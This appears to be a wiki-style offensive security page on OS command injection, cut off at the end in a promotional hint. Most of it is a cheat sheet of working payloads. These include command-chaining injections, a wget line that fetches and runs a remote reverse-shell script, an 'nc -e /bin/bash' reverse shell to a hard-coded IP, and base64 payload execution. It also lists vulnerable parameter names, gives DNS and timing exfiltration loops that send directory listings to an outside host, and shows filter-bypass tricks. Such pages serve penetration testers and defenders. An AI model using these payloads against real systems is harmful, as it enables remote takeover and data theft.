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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} ## What is command Injection? A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system. ### Context Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands. ## Command Injection/Execution ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` ### **Limition** Bypasses If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:** {% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} [bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/) {% endcontent-ref %} ### **Examples** ``` vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` ### Parameters Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload} ``` ### Time based data exfiltration Extracting data: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s ``` ### DNS based data exfiltration Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` Online tools to check for DNS based data exfiltration: * dnsbin.zhack.ca * pingb.in ### Filtering bypass #### Windows ``` powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc ``` #### Linux {% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} [bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/) {% endcontent-ref %} ## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} ## References * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) * [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) {% hint style="success" %} Learn & practice AWS Hacking: